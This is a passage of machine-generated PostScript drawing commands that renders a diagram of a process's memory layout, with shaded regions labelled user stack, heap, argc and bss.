M 7302 9131 L 7302 9121 L 4965 9121 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9121 M 7302 9121 L 7302 9108 L 4965 9108 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9108 M 7302 9108 L 7302 9101 L 4965 9101 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9101 M 7302 9101 L 7302 9091 L 4965 9091 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9091 M 7302 9091 L 7302 9081 L 4965 9081 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9081 M 7302 9081 L 7302 9071 L 4965 9071 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9071 M 7302 9071 L 7302 9061 L 4965 9061 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9061 M 7302 9061 L 7302 9051 L 4965 9051 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9051 M 7302 9051 L 7302 9041 L 4965 9041 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9041 M 7302 9041 L 7302 9031 L 4965 9031 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9031 M 7302 9031 L 7302 9021 L 4965 9021 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9021 M 7302 9021 L 7302 9011 L 4965 9011 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9011 M 7302 9011 L 7302 9001 L 4965 9001 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9005 M 7302 9005 L 7302 8991 L 4965 8991 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8991 M 7302 8991 L 7302 8981 L 4965 8981 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8985 M 7302 8985 L 7302 8975 L 4965 8975 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8975 M 7302 8975 L 7302 8961 L 4965 8961 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8961 M 7302 8961 L 7302 8951 L 4965 8951 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8955 M 7302 8955 L 7302 8945 L 4965 8945 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8945 M 7302 8945 L 7302 8935 L 4965 8935 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8935 M 7302 8935 L 7302 8925 L 4965 8925 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8925 M 7302 8925 L 7302 8915 L 4965 8915 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8915 M 7302 8915 L 7302 8905 L 4965 8905 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8905 M 7302 8905 L 7302 8895 L 4965 8895 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8895 M 7302 8895 L 7302 8885 L 4965 8885 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8885 M 7302 8885 L 7302 8875 L 4965 8875 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8875 M 7302 8875 L 7302 8865 L 4965 8865 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8865 M 7302 8865 L 7302 8855 L 4965 8855 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8855 M 7302 8855 L 7302 8845 L 4965 8845 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8845 M 7302 8845 L 7302 8835 L 4965 8835 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8835 M 7302 8835 L 7302 8825 L 4965 8825 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8825 M 7302 8825 L 7302 8815 L 4965 8815 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8818 M 7302 8818 L 7302 8805 L 4965 8805 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8805 M 7302 8805 L 7302 8795 L 4965 8795 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8795 M 7302 8795 L 7302 8785 L 4965 8785 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8788 M 7302 8788 L 7302 8775 L 4965 8775 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8775 M 7302 8775 L 7302 8765 L 4965 8765 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8768 M 7302 8768 L 7302 8758 L 4965 8758 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8758 M 7302 8758 L 7302 8748 L 4965 8748 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8748 M 7302 8748 L 7302 8738 L 4965 8738 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8738 M 7302 8738 L 7302 8728 L 4965 8728 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8728 M 7302 8728 L 7302 8718 L 4965 8718 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8718 M 7302 8718 L 7302 8708 L 4965 8708 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8708 M 7302 8708 L 7302 8698 L 4965 8698 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8698 M 7302 8698 L 7302 8688 L 4965 8688 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8688 M 7302 8688 L 7302 8678 L 4965 8678 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8678 M 7302 8678 L 7302 8668 L 4965 8668 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8668 M 7302 8668 L 7302 8658 L 4965 8658 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8658 M 7302 8658 L 7302 8648 L 4965 8648 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8648 M 7302 8648 L 7302 8638 L 4965 8638 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8638 M 7302 8638 L 7302 8631 L 4965 8631 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8631 M 7302 8631 L 7302 8618 L 4965 8618 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8618 M 7302 8618 L 7302 8611 L 4965 8611 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8611 M 7302 8611 L 7302 8518 L 4965 8518 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4972 9165 M 7302 9165 L 7302 8521 L 4972 8521 L 4972 9165 L 7302 9165 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5868 8649 M (user stack) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8518 M 7305 8518 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6511 M 7302 6511 L 7302 6428 L 4965 6428 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6428 M 7302 6428 L 7302 6418 L 4965 6418 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6418 M 7302 6418 L 7302 6411 L 4965 6411 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6411 M 7302 6411 L 7302 6401 L 4965 6401 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6401 M 7302 6401 L 7302 6391 L 4965 6391 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6391 M 7302 6391 L 7302 6381 L 4965 6381 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6385 M 7302 6385 L 7302 6375 L 4965 6375 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6375 M 7302 6375 L 7302 6365 L 4965 6365 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6365 M 7302 6365 L 7302 6358 L 4965 6358 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6358 M 7302 6358 L 7302 6348 L 4965 6348 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6348 M 7302 6348 L 7302 6341 L 4965 6341 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6341 M 7302 6341 L 7302 6331 L 4965 6331 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6331 M 7302 6331 L 7302 6321 L 4965 6321 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6321 M 7302 6321 L 7302 6311 L 4965 6311 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6311 M 7302 6311 L 7302 6305 L 4965 6305 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6305 M 7302 6305 L 7302 6295 L 4965 6295 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6295 M 7302 6295 L 7302 6288 L 4965 6288 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6288 M 7302 6288 L 7302 6278 L 4965 6278 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6278 M 7302 6278 L 7302 6268 L 4965 6268 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6271 M 7302 6271 L 7302 6261 L 4965 6261 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6261 M 7302 6261 L 7302 6252 L 4965 6252 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6252 M 7302 6252 L 7302 6242 L 4965 6242 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6242 M 7302 6242 L 7302 6235 L 4965 6235 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6235 M 7302 6235 L 7302 6225 L 4965 6225 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6225 M 7302 6225 L 7302 6215 L 4965 6215 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6215 M 7302 6215 L 7302 6208 L 4965 6208 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6208 M 7302 6208 L 7302 6198 L 4965 6198 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6198 M 7302 6198 L 7302 6192 L 4965 6192 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6192 M 7302 6192 L 7302 6182 L 4965 6182 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6182 M 7302 6182 L 7302 6172 L 4965 6172 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6172 M 7302 6172 L 7302 6162 L 4965 6162 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6162 M 7302 6162 L 7302 6155 L 4965 6155 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6155 M 7302 6155 L 7302 6145 L 4965 6145 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6145 M 7302 6145 L 7302 6138 L 4965 6138 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6138 M 7302 6138 L 7302 6128 L 4965 6128 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6128 M 7302 6128 L 7302 6118 L 4965 6118 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6122 M 7302 6122 L 7302 6112 L 4965 6112 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6112 M 7302 6112 L 7302 6102 L 4965 6102 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6102 M 7302 6102 L 7302 6092 L 4965 6092 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6092 M 7302 6092 L 7302 6085 L 4965 6085 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6085 M 7302 6085 L 7302 6075 L 4965 6075 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6075 M 7302 6075 L 7302 6065 L 4965 6065 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6065 M 7302 6065 L 7302 6058 L 4965 6058 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6058 M 7302 6058 L 7302 6048 L 4965 6048 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6048 M 7302 6048 L 7302 6042 L 4965 6042 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6042 M 7302 6042 L 7302 6032 L 4965 6032 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6032 M 7302 6032 L 7302 6022 L 4965 6022 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6022 M 7302 6022 L 7302 6012 L 4965 6012 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6012 M 7302 6012 L 7302 6005 L 4965 6005 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6005 M 7302 6005 L 7302 5995 L 4965 5995 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5995 M 7302 5995 L 7302 5988 L 4965 5988 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5988 M 7302 5988 L 7302 5978 L 4965 5978 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5978 M 7302 5978 L 7302 5968 L 4965 5968 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5972 M 7302 5972 L 7302 5962 L 4965 5962 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5962 M 7302 5962 L 7302 5952 L 4965 5952 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5952 M 7302 5952 L 7302 5942 L 4965 5942 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5942 M 7302 5942 L 7302 5935 L 4965 5935 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5935 M 7302 5935 L 7302 5925 L 4965 5925 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4972 6505 M 7302 6505 L 7302 5928 L 4972 5928 L 4972 6505 L 7302 6505 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6252 M 7305 6252 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 43 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6508 M 7305 6508 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 6005 6379 M (heap) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6017 9014 M (argc) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 8845 M 7305 8845 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 43 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 6052 6046 M (bss) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9171 M 4965 5925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 7302 9171 M 7302 5925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 